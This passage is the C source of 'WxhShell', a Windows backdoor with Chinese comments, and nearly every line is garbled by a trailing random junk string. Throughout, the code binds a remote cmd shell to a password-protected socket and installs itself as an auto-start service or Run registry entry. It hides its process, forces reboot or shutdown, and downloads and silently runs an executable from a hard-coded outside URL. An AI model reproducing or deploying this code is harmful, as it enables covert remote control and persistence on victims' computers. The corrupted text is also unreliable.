  case 'd': { T$>=+U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IdC k  
    if(Boot(SHUTDOWN)) nKZRq&~^E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q)zu}m  
    else { g-TX;(  
    closesocket(wsh); ];wohW%  
    ExitThread(0); FZ}C;yUPD  
    } w oY)G7%  
    break; .{Eg(1At  
    } }E)8soQR  
  // 获取shell x""Mxn]gD  
  case 's': { ZQ-z2s9U  
    CmdShell(wsh); HzO0K=Z=R0  
    closesocket(wsh); )Or:wFSMq  
    ExitThread(0); )}zA,FOA*  
    break; $F /p8AraK  
  } Do{*cSd  
  // 退出 tM?I()Y&P  
  case 'x': { Z?G 3d(YT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 01SFOPuR%(  
    CloseIt(wsh); ;j Y'z5PH5  
    break; wtgO;w  
    } \`<s@U  
  // 离开 Zj /H3,7  
  case 'q': { y(p:)Iv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "b+3 &i|  
    closesocket(wsh); ud~VQXZo  
    WSACleanup(); BYA=M*f  
    exit(1); ;R- z3C  
    break; A~~| X  
        } brhJ&|QDE  
  } HWao3Lz  
  } 5kL#V  
S)AE   
  // 提示信息 \)6?u_(u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ph$&f0A6Xc  
} 0"D?.E"$r  
  } kY |=a  
>5z`SZf  
  return; g275{2G9  
} K+aJ`V  
  !AD,  
// shell模块句柄 x:D<Mu#  
int CmdShell(SOCKET sock) `&&6-/  
{ neMe<jr  
STARTUPINFO si; .q& ]wu  
ZeroMemory(&si,sizeof(si)); ,r)d#8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I^C ]6D{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gm?"7R.  
PROCESS_INFORMATION ProcessInfo; {7MgN'4  
char cmdline[]="cmd"; ywa.cq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eC1c`@C:  
  return 0; EPUJa~4  
} [7t0[U~3?  
<a/ZOuBzZ  
// 自身启动模式 ;{)@ghD  
int StartFromService(void) :WKyEt!3  
{ ,C12SM*@  
typedef struct (V |q\XS  
{ Yv`1ySR  
  DWORD ExitStatus; ]H@uuPT!  
  DWORD PebBaseAddress; Q,LWZw~"  
  DWORD AffinityMask; '&L   
  DWORD BasePriority; f>JzG,-  
  ULONG UniqueProcessId; 0i1?S6]d-  
  ULONG InheritedFromUniqueProcessId; XzRWY\x  
}   PROCESS_BASIC_INFORMATION; sC*E;7gT,  
[}g5Z=l  
PROCNTQSIP NtQueryInformationProcess; .dq.F#2B;  
N 7|W.(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "i5AAP?_]{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <P)%Ms  
orN2(:Ct7  
  HANDLE             hProcess; FU3IK3}  
  PROCESS_BASIC_INFORMATION pbi; <8}9s9Nk  
7!d<>_oH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6b 5{  
  if(NULL == hInst ) return 0; ^L2Zo'y [  
="PywZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lm2cW$s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0~I) /T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }t{^*(  
!7Q.w/|=  
  if (!NtQueryInformationProcess) return 0; 9"v ox   
Boz_*l|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O9 r44ww  
  if(!hProcess) return 0; ?Pf ,5=*B  
|H I A[.q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kys-~&@+  
53#5p;k  
  CloseHandle(hProcess); L?5t <`#lw  
rEyMSLN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a\.?{/  
if(hProcess==NULL) return 0; z:q'?{` I  
t jBv{  
HMODULE hMod; e}@J?tJK.L  
char procName[255]; h-u*~5dB<&  
unsigned long cbNeeded; =>TtX@Q{  
$TUC?e9"h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mi3q1npb7[  
8XXTN@&,  
  CloseHandle(hProcess); -^%"w  
A}+r;Y8[h  
if(strstr(procName,"services")) return 1; // 以服务启动 O&1p2!Bk4  
"e?#c<p7  
  return 0; // 注册表启动 lIT2 AFX+  
} p~y 4q4  
yOm6HA``hT  
// 主模块 |6G5  ?|  
int StartWxhshell(LPSTR lpCmdLine) _J#Hq 'K  
{ aQ3vG08L>  
  SOCKET wsl; iw6M3g#  
BOOL val=TRUE; +c2>j8e6  
  int port=0; J~ rC  
  struct sockaddr_in door; W`rE\P  
-CNv=vj 3  
  if(wscfg.ws_autoins) Install(); S 2` ;7  
7 @Qlp$[F  
port=atoi(lpCmdLine); Nr7.BDA  
l`G:@}P>G  
if(port<=0) port=wscfg.ws_port; -x5bdC(d  
^hTJp{  
  WSADATA data; YXOD fd%L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;    r3K:  
v\T1,Z@N^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KPK!'4,cu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3om7LqcRo  
  door.sin_family = AF_INET; biuo.OG]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q9 ",  
  door.sin_port = htons(port); YtKX\q^.  
aYX'&k `  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vc<n6  
closesocket(wsl); `t"Kq+  
return 1; ~DS9{Y  
} u01^ABn  
5q*~h4=r7  
  if(listen(wsl,2) == INVALID_SOCKET) { N>iCb:_ T;  
closesocket(wsl); y 9mZQq  
return 1; ago t (  
} -i gZU>0B_  
  Wxhshell(wsl); uZI:Kt#  
  WSACleanup(); tG&B D\  
a,\u|T:g  
return 0; ;Q 6e&Ips/  
3 +9|7=d  
} ;0{*V5A  
KPrxw }P  
// 以NT服务方式启动 G->@   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $fG/gYvI\  
{ 8hV:bz"  
DWORD   status = 0; k!rz8S"  
  DWORD   specificError = 0xfffffff; JB}h }nb  
WWs>@lCK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LB0=V0|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2)]*re)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [^P2Kn  
  serviceStatus.dwWin32ExitCode     = 0; iIRigW  
  serviceStatus.dwServiceSpecificExitCode = 0; 4H '&5  
  serviceStatus.dwCheckPoint       = 0; %^A++Z$`  
  serviceStatus.dwWaitHint       = 0; qa#F}aGd  
Jx7^|A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'S>Jps@  
  if (hServiceStatusHandle==0) return; _JB3+0@  
Qk?Jy<Ra  
status = GetLastError(); , X):2_m  
  if (status!=NO_ERROR) < duM8   
{ *Ux"3IXO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A>S2BL#=  
    serviceStatus.dwCheckPoint       = 0; l0)6[yXK  
    serviceStatus.dwWaitHint       = 0; ZmF32 Ir  
    serviceStatus.dwWin32ExitCode     = status; /d;l:  
    serviceStatus.dwServiceSpecificExitCode = specificError; =-Tetp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .v!e=i}.  
    return; z81!F'x;  
  } 3"RZiOyv  
G(e?]{(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g_=ZcGC  
  serviceStatus.dwCheckPoint       = 0; <Z_`^~!  
  serviceStatus.dwWaitHint       = 0; Cl=ExpX/O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~Y[b QuA=)  
} }x-8@9S~z  
L@uKE jR  
// 处理NT服务事件,比如:启动、停止 xEqrs6sR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eZo%q,L  
{ ObnB6ShKi  
switch(fdwControl) \`&fr+x  
{ A 2 )%+  
case SERVICE_CONTROL_STOP: ~d]7 Cl  
  serviceStatus.dwWin32ExitCode = 0; jeNEC&J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Er`PYE J  
  serviceStatus.dwCheckPoint   = 0; gE#,QOy  
  serviceStatus.dwWaitHint     = 0; F*u;'K   
  { c7 -j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |&.)_+w  
  } 4T-AWk  
  return; B(U`Zd  
case SERVICE_CONTROL_PAUSE: /vKDlCH*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sIe(;%[`  
  break; '-qc \6UY  
case SERVICE_CONTROL_CONTINUE: ':@qE\(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UNae&Zir  
  break; 2sH5<5G'  
case SERVICE_CONTROL_INTERROGATE: =<icHt6s  
  break; N\$6R-L  
}; nXjUTSGa)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `MS=/xE  
} HF:PF"|3  
=lnz5H  
// 标准应用程序主函数 lw{|~m5`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N:.bnF(  
{ 9yPB)&"EF  
=T`-h"E~@  
// 获取操作系统版本 * bK@A2`  
OsIsNt=GetOsVer(); ,# 6\:i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /zM7G?y  
<R$|J|  
  // 从命令行安装 >F v8 -  
  if(strpbrk(lpCmdLine,"iI")) Install(); -mF9Skj  
mBF?+/l  
  // 下载执行文件 &3efJ?8  
if(wscfg.ws_downexe) { #</yX5!V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iD~s,  
  WinExec(wscfg.ws_filenam,SW_HIDE); W*2SlS7  
} {lA@I*_lj  
mdd~B2"el  
if(!OsIsNt) { JB7]51WH@  
// 如果时win9x,隐藏进程并且设置为注册表启动 &}ow-u9c3  
HideProc(); /uWON4  
StartWxhshell(lpCmdLine); YL+W 4 ld  
} RPu-E9g@  
else `:&{/|uP7  
  if(StartFromService()) TV}SKvu  
  // 以服务方式启动 bhRpYP%x  
  StartServiceCtrlDispatcher(DispatchTable); [F$3mzx  
else 9UZX+@[F  
  // 普通方式启动 ()Z$j,2  
  StartWxhshell(lpCmdLine); ]c D!~nJ  
l)Hu.1~  
return 0; ]z,?{S  
} nHX@  
,~!lNyL  
D+U^ pl-  
_1 a2Z\  
=========================================== 7RZ7q@@fgh  
h ? M0@Z  
B.o&%5dG  
a)e2WgVB/E  
Z,z^[Jz  
ROS0Q9X  
" TL5bX+  
z{ 8!3>:E  
#include <stdio.h> oUqNA|l T  
#include <string.h> `'/8ifKz  
#include <windows.h> Z-p_hNb  
#include <winsock2.h> \Z$*8z=  
#include <winsvc.h> F {[Q  
#include <urlmon.h> 8[k-8h|  
Gs%kqD{=  
#pragma comment (lib, "Ws2_32.lib") iR9iI!+;N  
#pragma comment (lib, "urlmon.lib") B0:O]Ax6.^  
q/Q*1  
#define MAX_USER   100 // 最大客户端连接数 e :#\Oh  
#define BUF_SOCK   200 // sock buffer @RjLDj+)S  
#define KEY_BUFF   255 // 输入 buffer v{9eEk1  
ci!c7 ,'c  
#define REBOOT     0   // 重启 y~\z_') <>  
#define SHUTDOWN   1   // 关机 h(9K7  
?^hC|IR$  
#define DEF_PORT   5000 // 监听端口 ;tHF$1!J  
tP\Utl-0  
#define REG_LEN     16   // 注册表键长度 5o,82 Kti  
#define SVC_LEN     80   // NT服务名长度 sG3%~  
{MHr]A}X\  
// 从dll定义API @M1U)JoQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f-Sb:O!V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5b&'gd^d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 30<^0J.1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bV"0}|A~K  
:KQ<rLd  
// wxhshell配置信息 uwbj`lpf  
struct WSCFG { 7"gy\_M  
  int ws_port;         // 监听端口 t((0]j^  
  char ws_passstr[REG_LEN]; // 口令 vm(% u!_P  
  int ws_autoins;       // 安装标记, 1=yes 0=no Co'dZd(  
  char ws_regname[REG_LEN]; // 注册表键名 U@9n 7F  
  char ws_svcname[REG_LEN]; // 服务名 6 R!0v8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uB%`Bx'OW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 # RtrHm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PKP( :3|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xd* kNY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n7 S[ F3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J~= =<?j:  
^P[-HA|  
}; p%}oo#%J  
ZY83, :<  
// default Wxhshell configuration *_ "j"{  
struct WSCFG wscfg={DEF_PORT, 3+)i23[4=\  
    "xuhuanlingzhe",  z=!xN5  
    1, (*|hlD~  
    "Wxhshell", k @[Bx>  
    "Wxhshell", :wIbKs.r  
            "WxhShell Service", mF "ctxE  
    "Wrsky Windows CmdShell Service", ;&iQNXL  
    "Please Input Your Password: ", RsE+\)  
  1, y'(;!5w  
  "http://www.wrsky.com/wxhshell.exe", K\uR=L7  
  "Wxhshell.exe" SW bwD/SN  
    }; ]86U -`p  
Ef#%4ky  
// 消息定义模块 C\1Dy5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  3o z]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (`T:b1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8tsW^y;S  
char *msg_ws_ext="\n\rExit."; F77~156  
char *msg_ws_end="\n\rQuit."; <h(tW  
char *msg_ws_boot="\n\rReboot..."; K(hqDif*6  
char *msg_ws_poff="\n\rShutdown..."; R#oXQaBJ  
char *msg_ws_down="\n\rSave to "; 8NpQ"0X  
:=-h'<D  
char *msg_ws_err="\n\rErr!"; }v`5  
char *msg_ws_ok="\n\rOK!"; BwbvZfV|  
n]|[|Rf1  
char ExeFile[MAX_PATH]; w* v%S   
int nUser = 0; NJ3b Oq  
HANDLE handles[MAX_USER]; (}'0K?  
int OsIsNt; {4 *ob@w*  
B&"fPi  
SERVICE_STATUS       serviceStatus; fk=_ Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ucyxvhH^-  
0rF{"HM~  
// 函数声明 ?L'ijzP  
int Install(void); 2nk}'HBe  
int Uninstall(void); pm^[ve  
int DownloadFile(char *sURL, SOCKET wsh); NKO5c?ds  
int Boot(int flag); k5|h8%h8  
void HideProc(void); ]  OR ]  
int GetOsVer(void); A07FjT5w8  
int Wxhshell(SOCKET wsl); U)N;=gr\  
void TalkWithClient(void *cs); rNdap*.  
int CmdShell(SOCKET sock); B+,Z 3*  
int StartFromService(void); 41$7P[M;  
int StartWxhshell(LPSTR lpCmdLine); [9X1;bO#f  
mim]nRd2v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  dY|(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ygN/a>rr  
eQA89 :j,  
// 数据结构和表定义 xCGvLvFn  
SERVICE_TABLE_ENTRY DispatchTable[] = k}~|jLu@g  
{ f~9ADb  
{wscfg.ws_svcname, NTServiceMain}, @va6,^)  
{NULL, NULL} 7|*|xLrVY  
}; ]^R;3kU4Q  
Jgb{Tl:r  
// 自我安装 '\P6NszY~  
int Install(void) VDBP]LRF  
{ 8MV=?  
  char svExeFile[MAX_PATH]; 'xhX\?mD  
  HKEY key; 4k}u`8 a  
  strcpy(svExeFile,ExeFile); n hS=t8H  
s@Y0"   
// 如果是win9x系统,修改注册表设为自启动 ]QRhTz  
if(!OsIsNt) { qpFFvZ W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >tYptRP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YEQ}<\B\&  
  RegCloseKey(key); [ q22?kT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1: XT r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QXniWJJ  
  RegCloseKey(key); :(N3s9:vz  
  return 0; x%5n&B  
    } aOETmsw  
  } mK fT4t  
} nz~3o  
else { = T!iM2  
U8;k6WT|  
// 如果是NT以上系统,安装为系统服务 C([TolZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >^{}Hjt  
if (schSCManager!=0) $s5LzJn  
{ PohG y  
  SC_HANDLE schService = CreateService skf7Si0z  
  ( &dH/V-te  
  schSCManager, y>UM~E  
  wscfg.ws_svcname, _}8O15B|  
  wscfg.ws_svcdisp, PH^AT<U:T  
  SERVICE_ALL_ACCESS, !D!Q]M5oU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -$>R;L  
  SERVICE_AUTO_START, LY-fp+  
  SERVICE_ERROR_NORMAL, ?l &S:` L  
  svExeFile, p$0G EYwM  
  NULL,  (0bvd  
  NULL, amK"Z<V F  
  NULL, TkM8GK-3  
  NULL, q]DV49UK  
  NULL ~K5eO-  
  ); X3 P~z8_  
  if (schService!=0) 1.6yi];6  
  { WnyEdYA  
  CloseServiceHandle(schService); [2"a~o\  
  CloseServiceHandle(schSCManager); 7o-umZ}8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pHXslmrD  
  strcat(svExeFile,wscfg.ws_svcname); kFg@|#0v9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gG!L#J?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c_"]AhV~Mg  
  RegCloseKey(key); 9LI #&\lba  
  return 0; |7LhE+E  
    } . K s%ar  
  } L'iENZ I$  
  CloseServiceHandle(schSCManager); tURjIt,I  
} j'R{llZW  
} 4V@raI-  
$WED]X@X!  
return 1; g 4G&  
} ?);6]"k:3  
&Op_!]8`U  
// 自我卸载 9~/k25P  
int Uninstall(void) >hHjDYjbf  
{ O/Ub{=g  
  HKEY key; G:7HL5u  
ry)g<OA  
if(!OsIsNt) { >4 4A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N_Q)AXr)  
  RegDeleteValue(key,wscfg.ws_regname); P:,'   
  RegCloseKey(key);  >\6Tm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bFD vCF  
  RegDeleteValue(key,wscfg.ws_regname); @ qy n[C  
  RegCloseKey(key); SaceIV%(  
  return 0; V3r1|{Z(  
  } lI~T>Lel2  
} ZfsM($|a  
} 7}>Zq`]~  
else { j} t"M|`  
33IJbg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -}#=L@  
if (schSCManager!=0) Jh`Pq,B:  
{ dCc"Qr[k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T5H[~b|9-  
  if (schService!=0) T;!: A  
  { BPs|qb-  
  if(DeleteService(schService)!=0) { jGy%O3/  
  CloseServiceHandle(schService); R-QSv$  
  CloseServiceHandle(schSCManager); V{4=, Ax  
  return 0; I8~ .Vu2  
  } g^ .g9"  
  CloseServiceHandle(schService); @`t#Bi9  
  } &.^(, pt  
  CloseServiceHandle(schSCManager); 5ar2Y$bY  
} mUSrCU_}  
} 9j<qi\SSI  
r&!Ebe-  
return 1; %:Mi6 sR|  
} T-,T)R`R  
+U9m  
// 从指定url下载文件 b* (~8JxZ  
int DownloadFile(char *sURL, SOCKET wsh) nY y%=B|>  
{ f4[fXP;A  
  HRESULT hr; @N+ }cej  
char seps[]= "/"; NN> E1d=  
char *token;  rG[iEY  
char *file; B}S!l>.z  
char myURL[MAX_PATH]; K!~j}z*  
char myFILE[MAX_PATH]; }\ kLh(  
)bqSM&SO  
strcpy(myURL,sURL); ufl[sj%^|  
  token=strtok(myURL,seps); =c/jS  
  while(token!=NULL) ZW+M<G  
  { {o>51fXc)  
    file=token; b^s978qn#  
  token=strtok(NULL,seps); >I*)0tE  
  } l/*NscYtQ  
6="Qwrk  
GetCurrentDirectory(MAX_PATH,myFILE); 9d kuvk}:  
strcat(myFILE, "\\"); =f~8"j  
strcat(myFILE, file); -nK\+bTL}  
  send(wsh,myFILE,strlen(myFILE),0); lQ&"p+n  
send(wsh,"...",3,0); G42J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +9gI^Gt  
  if(hr==S_OK) ;@ <E  
return 0; 7+]+S`p  
else ~t=73 fwB  
return 1; t.\<Q#bN#  
Cj/J&PDQ  
} ^lvYj E  
bqPaXH n  
// 系统电源模块 ,i]X^z5!  
int Boot(int flag) !m {d6C[  
{  {4]sJT  
  HANDLE hToken; ~W/|RP7S  
  TOKEN_PRIVILEGES tkp; vM3 b\yp  
zjE|UK{  
  if(OsIsNt) { v 79k{<Ln  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S[zETRSG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2 .p?gRO  
    tkp.PrivilegeCount = 1; n3z]&J5fr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \:mZ)f3K=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TKH!,Ow9A  
if(flag==REBOOT) { %>io$o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) npCiqO  
  return 0; ,vcg%~-  
} y,/Arl}yc  
else { 7=hISQMsVP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gI T3A*x  
  return 0; 6Mc&gnN  
} Ot<vn34mt:  
  } y/vGt_^;3<  
  else { xcHuH -}  
if(flag==REBOOT) { 3a Y^6&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L$zB^lSM  
  return 0; 1XppC[))  
} !+EE*-c1c  
else { `*Ju0)g1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1Zo"Xb  
  return 0; 8pXului  
} 9cqq"-$G`  
} wH0m^?a!3  
'}5Yc,  
return 1; [`n)2} k  
} XG!s+ShFV  
:aHLr[%Mz  
// win9x进程隐藏模块 TC* 78;r  
void HideProc(void) mVsghDESJ)  
{ ` W} Bc  
OF1fS\P<>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); af-  
  if ( hKernel != NULL ) a(#aEbN?d  
  { <rn26Gfr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gnthz0\]{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EEJ OJ<  
    FreeLibrary(hKernel); 2kSN<jMr  
  } 'eYM;\%('  
bXNM.K  
return; #S|DoeFs  
} ISDeLUihY  
S x0QPX  
// 获取操作系统版本 8! X K[zL  
int GetOsVer(void) 5jey%)=  
{ s(0"r.  
  OSVERSIONINFO winfo; Hx?OCGj=S*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $8{v_2C){  
  GetVersionEx(&winfo); y[A%EMd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q!R eA{  
  return 1; o6ag{Yp  
  else #a+*u?jnnL  
  return 0; MhL>6rn  
} FoKAF &h7  
N <e72x  
// 客户端句柄模块 kSUpEV+/  
int Wxhshell(SOCKET wsl) !(i}FFn{:  
{ NpAZuISD!  
  SOCKET wsh; X3zpU7`Av+  
  struct sockaddr_in client; 0`Hr(J`F  
  DWORD myID; M "\j7(  
U][\|8i  
  while(nUser<MAX_USER) !v\ _<8  
{ Ad)::9K?J  
  int nSize=sizeof(client); :406Oa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P*:9u>  
  if(wsh==INVALID_SOCKET) return 1; > }fw7X  
Bm$(4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sNHxUI  
if(handles[nUser]==0) x_oiPu.V  
  closesocket(wsh); ?B['8ju  
else AI,Jy%62/  
  nUser++; TfnBPO  
  } L/KiE+Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _eZ*_H,\  
Ql]+,^kA@  
  return 0; U+ANSW/  
} nvbKW.[<f{  
s9[54 7?`  
// 关闭 socket zEy,aa :M  
void CloseIt(SOCKET wsh) TjY-C m  
{ zPc kM)  
closesocket(wsh); 2Fc>6]:*  
nUser--; SUN!8 qFA  
ExitThread(0); k1E(SXcW9  
} kK~,? l  
nm#,oX2C  
// 客户端请求句柄 PHR:BiMZ  
void TalkWithClient(void *cs) V.|#2gC]t  
{ _ K Ix7  
RAU"  
  SOCKET wsh=(SOCKET)cs; A +41JMH  
  char pwd[SVC_LEN]; c-oIP~,  
  char cmd[KEY_BUFF]; py }`thx  
char chr[1]; d}^G790  
int i,j; AMre(lgh  
L0X/  
  while (nUser < MAX_USER) { ?aWMU?S  
TGH"OXV*@  
if(wscfg.ws_passstr) { )%wNVW 0C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2+=:pc^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $(fhO   
  //ZeroMemory(pwd,KEY_BUFF); .K`EflN  
      i=0; wCgi@\  
  while(i<SVC_LEN) { {'a|$u+  
b Od<x >@  
  // 设置超时 FH)_L1n  
  fd_set FdRead; >K n7A  
  struct timeval TimeOut; &>A<{J@VL  
  FD_ZERO(&FdRead); i_f\dkol  
  FD_SET(wsh,&FdRead); 952l1c!  
  TimeOut.tv_sec=8; *;:dJXR  
  TimeOut.tv_usec=0; oM(8'{S=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }l7@:ezZZ7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :^rt8>~  
N~|Z@pU"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X" Upml  
  pwd=chr[0]; mlix^P  
  if(chr[0]==0xd || chr[0]==0xa) { iHKX#*  
  pwd=0; $*+IsP!  
  break; sc&u NfJ  
  } X'J!.Jj  
  i++; 6~^ M<E  
    } ({0:1*lF@  
*CCh\+S7m  
  // 如果是非法用户,关闭 socket VT [TE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -?p4"[  
} bbs'>D3  
:Z&<5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^v5<*uf%m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Uc?#;% Y}  
xi[\2g+  
while(1) { )F_nK f"a  
-pW*6??+?  
  ZeroMemory(cmd,KEY_BUFF); ./35_Vy/O  
5tl( $j  
      // 自动支持客户端 telnet标准   Q 6n!u;  
  j=0; F%IvgXt5  
  while(j<KEY_BUFF) { fj97_Q=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hn=tSlte  
  cmd[j]=chr[0]; -*$ s ;G#  
  if(chr[0]==0xa || chr[0]==0xd) { Zo< j"FG  
  cmd[j]=0; {s>V'+H(F  
  break; G^V a$ike  
  } Mp?L9  
  j++; ^Lv )){t  
    } d_ 7hh  
$38)_{  
  // 下载文件 N/78Ub  
  if(strstr(cmd,"http://")) { PiN^/#D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u N4e n,  
  if(DownloadFile(cmd,wsh)) `\$EPUM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g OK   
  else $`[TIyA9!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DY\~O  
  } &y&HxV  
  else { E>iN>  
xqb*;TBh*  
    switch(cmd[0]) { ?I$-im  
  c2gi 3  
  // 帮助 %j@@J\G!  
  case '?': { t:"3M iM=c  
